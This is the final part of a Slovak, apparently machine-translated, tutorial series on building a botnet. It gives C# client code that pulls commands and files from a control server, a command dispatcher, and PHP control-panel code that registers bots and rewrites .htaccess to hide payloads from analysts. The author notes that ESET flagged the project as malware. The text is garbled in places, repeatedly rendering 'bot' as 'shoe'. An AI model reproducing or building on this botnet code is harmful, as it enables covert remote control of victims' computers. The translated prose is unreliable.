Botnety - Záver
V minulom dieli sme sa začali venovať implementácii botnetov klienta. V dnešnom dieli seriál dokončíme.
Hlavný program
Pre tento menný priestor je deklarované používanie knižníc, ktoré sú používané zvlášť. Táto časť by mala byť v činnosti po celý čas programu po spustení a udržiavať spätnú väzbu pre hosťa a plnenie požadovaných príkazov o parametroch od hosťa. Obsahuje podobné funkcie, ako bola u predchádzajúceho menného priestoru, ale rozširuje sa o ovládacie a načúvacie funkcie. Jedny z najdôležitejších funkcií sú kontrolné funkcie, do ktorých patrí resetovacie, rozpoznávacie a informačné funkcie. Ďalšie podskupiny sú funkcie slave, vykonávajúci požadované príkazy. Medzi všetky funkcie tejto podskupiny sa radí tie, ktoré sú volány na základe požiadavky zo servera. Týchto funkcií môže byť definované veľké množstvo, ale je nutné ich funkciu prispôsobiť servera, napr. Požadované parametre.
Resetovanie každého príkazu musí byť vyvolané prerušením, ktoré je vytvárané funkciou reset, až po tomto je klient schopný prijímať nové príkazy. Informačné funkcie tvoria základ komunikácie so serverom a preto je nutné udržať tieto funkcie v činnosti po celú dobu a pokúsiť sa o nulovú chybovosť a maximálnu latenciu. Úloha týchto funkcií je načítať dáta z príkazového a parametrického súboru, nachádzajúceho sa na serveri, a odovzdať informácie do kognitívnych funkcií. Rozpoznávacie funkcie rozhodujú na základe prijatých dát a prisudzujú ďalšiu možnú aktivitu pre vykonanie.
Informačné funkcie
Činnosť týchto funkcií je buď získanie dát v podobe textu zo servera, alebo stiahnutie celého súboru
public static string getstr(string file) { string host = choose(); //stanoví proměnou host z funkce WebClient webClient = new WebClient(); string num = webClient.DownloadString(host + "/"+file); return num; //navrací hodnotu } public static void download (string from, string to) { string url = choose(); WebClient webClient = new WebClient(); webClient.DownloadFile(url + from, to); }
z hosťa podľa stanovených parametrov "file" súboru pre čítanie, "from" súboru pre stiahnutie, "to" parametra pre určenie ukladacie cesty. Získanie adresy servera prebieha z funkcie choose.
Rozpoznávacie funkcie
Vykonáva funkcie, ktoré určí za vhodné na vykonanie. Funkcia želajme príkaz a ak je rovnaký, je spustený.
static public void ifs(string cmd) //Funkce přejímá string { Console.WriteLine("Executing"); if (cmd == "delete") //Pokud se rovná spustí-> { delete(); //spustí funkce delete } else if (cmd == "report") { send("Report", ""); //pošle zpětnou vazbu } else { send("Dont know command", ""); } }
Programovanie Serveru
Keďže potrebujeme prijímať dáta a kontrolovať klientmi, potrebujeme službu, ktorá bude poskytovať tzv. Bod ku kontrole. Tento server je hosťovaný na endora.cz alebo môže byť na ľubovoľnom webovom serveri, pokiaľ bude mať povolené používané jazyky a metódy zasielanie POST a GET.
Obrázok 4.0 Vzhľad bol invertovaný kvôli viditeľnosti
Vo webu sú použité zjednodušené akcie na zadávanie príkazov a ID, aby bolo rýchlejšie zadávanie údajov. Označené funkcie červeno sú poukázané na pole, kam sa budú vkladať. V poli "Insert Command" je vložený príkaz na vykonanie, pole "ID of machine" označuje stroj pre ktorý bude spustený a polia "Target" je v prípadoch podmienených argumentov cieľ príkazu. V označenom obdĺžniku, ktorý obsahuje "no", je príkaz, ktorý je vykonávaný a menený podľa príkazu zaslaného vyššie. Server dokáže zadávať iba jeden príkaz v čase.
Frontend
Túto časť tvorí vzhľad webu, skripty pre urýchlenie zadávanie zoznamu čakajúcich botov a aktívnych botov. Obsahuje veci ako je font, pozadie, ikony, obrázky.
<meta property="og:type" content="website"> <!-- typ souboru --> <meta charset="utf-8"> <!-- Kódování znaků --> <link rel="shortcut icon" type="image/x-icon" href="icon.png"> <!-- Ikona --> <script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.16/webfont.js"></script> <!-- Javascript pro fungování fontu --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font- awesome.min.css"> <!-- css skript pro font --> <style type="text/css">@font-face{font-family:Nitti WM2 Light;src:url(57bd9673620784435f554191aa300c67.ttf)} <!-- soubor fontu -->
Pomocné skripty
Vypĺňajú formuláre na kliknutie užívateľa s požadovaným príkazom alebo ID.
<a href="#" onclick="fill(2)">"clear"</a> <!-- Příkaz pro vyvolání funkce fill(int) -->
function fill(command) { if (command == "2") { x = "clear"; } document.getElementById("formulář").value = x; //nastavení hodnoty formuláře function idly(id){ //Funkce pro vyplnění ID document.getElementById("machid").value = id; //Nastavení hodnoty formuláře podle ID }
Užívateľské rozhranie
Pozostáva z viditeľnej časti webovej aplikácie. Radí sa do neho tabuľky, do ktorých sa vkladajú údaje o topánkach a príkazy. Táto časť úzko spolupracuje s pomocnými skripty. Každá tabuľka vypisuje hodnoty o viac topánkach, v každom riadku sú údaje o jednom botovi a môže sa vyskytovať aj tlačidlo pre zablokovanie alebo povolenie topánka.
Čítanie dát pre tabuľku
Dáta sa čítajú pomocou listovanie zložkou a čítanie súborov postupné zanášanie do tabuľky pomocou cyklu for.
$dir4 = "report/"; $dh4 = opendir($dir4); while (false !== ($filename4 = readdir($dh4))) { $files4[] = $filename4; sort($files4); } for ($p = 2; $p < count($files4); ++$p) { ${"name" . $p} = pathinfo($files4[$p], PATHINFO_FILENAME); ${"idset" . $p} = substr("${"name" . $p}", 7, strpos("${"name" . $p} ", '-')); ${"soubor" . $p} = fopen("report/$files4[$p]", "r"); ${"ipset" . $p}=fgets(${"soubor" . $p}); ${"ipset2" . $p} = substr("${"ipset" . $p}", strpos("${"ipset" . $p}", ',')); ${"ipset" . $p}= str_replace("${"ipset2" . $p}", "", "${"ipset" . $p}"); ${"stav" . $p}=fgets(${"soubor" . $p}); ${"ver" . $p}=fgets(${"soubor" . $p}); ${"group" . $p}=fgets(${"soubor" . $p}); ${"ipl" . $p}=fgets(${"soubor" . $p}); ${"hw" . $p}=fgets(${"soubor" . $p}); ${"stavh" . $p} = substr("${"stav" . $p}", 0, strpos("${"stav" . $p}", '[')); ${"stav" . $p}= str_replace("${"stavh" . $p}", "", "${"stav" . $p}"); fclose(${"soubor" . $p}); }
Zdrojový kód: Cyklus While zistí všetky súbory priečinky a zanesie ich do poľa. Následne cyklus FOR prelistuje súbory od prvého po posledný a vykoná pre každý súbor definované príkazy. Prečíta si všetky premenné a deklaruje je podľa poradia súboru vzorovo: "súbor [2]". Pri každom súbore sa vypíše jeden riadok tabuľky a podľa definícií sa vyberie napr. Farba verzie alebo odkaz pre pomocný skript.
Backend
Je tvorený PHP kódom a odovzdáva informácie pre vypísanie do užívateľského prostredia, obsluhu klientov a tak tvoria základnú funkčnosť servera. Väčšina obsluhy spočíva v zápise do súborov nových botov a informáciách o nich po prijatí hesla. Ak server zapíše do súboru všetky dáta, súbor sa zapíše do adresára buď "čakanie" alebo do adresára "report". Závisí to od toho, či server už pridelil privátny kľúč k tomuto ID Topánka.
Ak je privátny kľúč je pridelený, je automaticky súbor zapísaný do zložky "report", ak nie je súbor zapísaný do zložky "čakania" a vyčekává na ďalšiu činnosť ako je povolenie alebo zakázanie. V prípade povolenia je hlásenie Topánka smerované do bežných hlásení priečinka "report". V prípade zakázanie so súbormi na strane klienta zmažú a je týmto vyradený z možnosti kompromitovaný siete botnetov a reversního inžinierstva. Odovzdávanie príkazov pre vykonanie je zapisované do súboru "check.txt" az tohto súboru klienti čítajú dáta ako sú príkazy a ID. Odovzdávanie argumentov sa zapisuje do súboru "arg.dat" a z tohto súboru sa čítajú dáta, len ak sú požadovaná a tak nie je server zbytočne zaťažovaný prenosom dát, ktoré nie sú potrebné.
Spracovanie prichádzajúcich dát
Prichádzajúce dáta sa ešte pred prijatím do systému overí heslom, ktoré je zaslané v parametri "pass". Ak overenie prebehne úspešne, sú dáta prijatá a zapísaná so stratou predchádzajúcich, do dátového súboru v tvare "report-id.dat" Formátovanie informácií do dátového súboru prebieha rozdeľovaním na riadky, napr .: hodnota1, ďalší riadok, hodnota2 atď. Do príslušného adresára podľa existencie privátneho kľúča. Tieto hodnoty sa vypisujú hľadaním súborov existujúcich v adresári a následným prečítaním sa hodnoty zanesú do tabuľky v používateľskom rozhraní.
Spracovanie chybových hlásení
Medzi prijímanými dátami môžu byť aj chybové hlásenia, ktorá je potreba zaznamenávať a prípadne sa im venovať. Chybové hlásenia môžu byť doručená buď prostredníctvom formátu s číslom chyby, alebo textovo - riadok a problematika, ktorá vznikla s popisom. Ak server obdrží v hlásení topánka (chybové hlásenie), je chybové hlásenie zapísaná do separovaného súboru a vpísaná do tabuľky. Ak je chýb viac, sú stále zapisované do súboru neduplicitně a je tak možné sa k chybám vrátiť, bez toho aby sme stratili informáciu o predchádzajúcom chybovom hlásení.
Zamedzenie prístupu nepovoleným osobám
Vzhľadom k tomu, že zaobchádzame s dátami, ktoré nechceme, aby bola zneužitá, je potrebné ošetriť ich zneužitia. Server je ošetrený vstupom na heslo a tak len užívateľ s platným heslom môže upravovať príkazy a pristupovať k informáciám. Overenie vstupu je riešené povolením danej IP adresy. Pri prihlásení je vygenerovaný dátový súbor obsahujúci privátny kľúč. Webová aplikácia si kľúč pri činnostiach overuje, či sa zlučuje s kľúčom, ktorý poskytuje užívateľ.
Zamedzenie sťahovanie
Z dôvodu vystavenia kódu reversnímu inžinierstva môže stiahnuť dáta iba topánok, ktorý má pridelený privátny kľúč. Zamedzenie je vykonané v dynamickom menenie súbore ".htaccess", v ktorom sú prepisované povolené a zakázané IP. Povolené a zakázané IP sa mení na základe vydania príkazu.
Zdrojový kód:
$myfile="resource/.htaccess"; $lines = file ($myfile); $text2 = "allow from "."$group"; for ($p = 0; $p < count($lines); ++$p) { if ("$lines[$p]"=="$text2") { } else { $relace = fopen("resource/temp.dat", "a+"); fwrite($relace,"\n$lines[$p] "); fclose($relace); } unlink($myfile); rename("resource/temp.dat“, $myfile); $default="order allow,deny"; $relace= fopen("resource/.htaccess", "a+"); fwrite($relace,"\n$default"); fclose($relace);
Premenná "group" je vzdialená IP adresa topánka a povolenia prebieha vzhľadom k nej. Funkcia kontroluje riadok po riadku a bráni prípadným duplicitám. Pokiaľ topánok nebol povolený, je riadok zapísaný a kontrola prebieha do konca súboru. Po rozlíšenie duplikáciou sa súbor ".htaccess" zmaže a je nahradený súborom "temp.dat", ktorý obsahuje povolenie bez duplikáciou. Do tohto nového súboru je zapísané nové povolenie pre topánka.
Optimalizácia
Analýza
Vzhľadom k prenosu dát je nutné optimalizovať sieť botnet, pretože za mesiac dosiahol prenos dát enormných 319 MB pri 8 topánkach aktívnych 24/7. Väčšina prenesených dát tvorila inštalácia nových botov a inštalácia ovládačov pre počítač. Detekcia príkazov sa ukázala relatívne úsporná s celkovým prenosom dát 183kB. Doplnkové služby zahŕňajúce program pre interakciu s užívateľom dosiahli veľkosti 4.3MB, ale rovnako ako ovládače sa sťahujú pre každého topánka iba raz a pri dlhšej prevádzke je ich dátová náročnosť nulová. Pri vylepšovanie botnety by bolo potrebné vylepšiť prenos dát komprimáciou a kódovaním. Pre úspornosť, efektivitu a zjednodušenie algoritmov pre deklaráciu prenášaných premenných v dátovom toku oddeľovaním špeciálnymi znakmi, nie medzerami.
Záver
V tomto seriáli som vás zoznámil so základnými princípmi a technikami prenosu dát medzi sieťami a dátovými protokoly. Vzhľadom na dokončenie práce môžem povedať, že s nadobudnutými skúsenosťami z vývoja tejto aplikácie by som program znova zostavil iným spôsobom. Pri vývoji tejto aplikácie som sa stretol s mnohými delikátnymi situáciami ako je blokácia moje služby inštitúcií NCKB, Microsoft a ESET. Touto prácou som získal uvedení v databáze bezpečnostných rizík spoločnosti ESET v obore Powershell a MSIL Code. Časť tohto projektu slúžila ako inšpirácia pre tím Admin SH zo Silicon Hill pri sledovaní teploty v serverových priestoroch. Na testovanie sa nepriamo podieľali inštitúcie Mendelova univerzita v Brne, SŠSE Brno, ENDOR sro, Microsoft as, ESET as a súkromné osoby. Využitie tejto aplikácie v praxi je možné aplikovať v oblasti riadenia vzdialených počítačov s nemožnosťou prístupu a ako čiastočná náhrada vzdialenej pomoci v systéme Windows.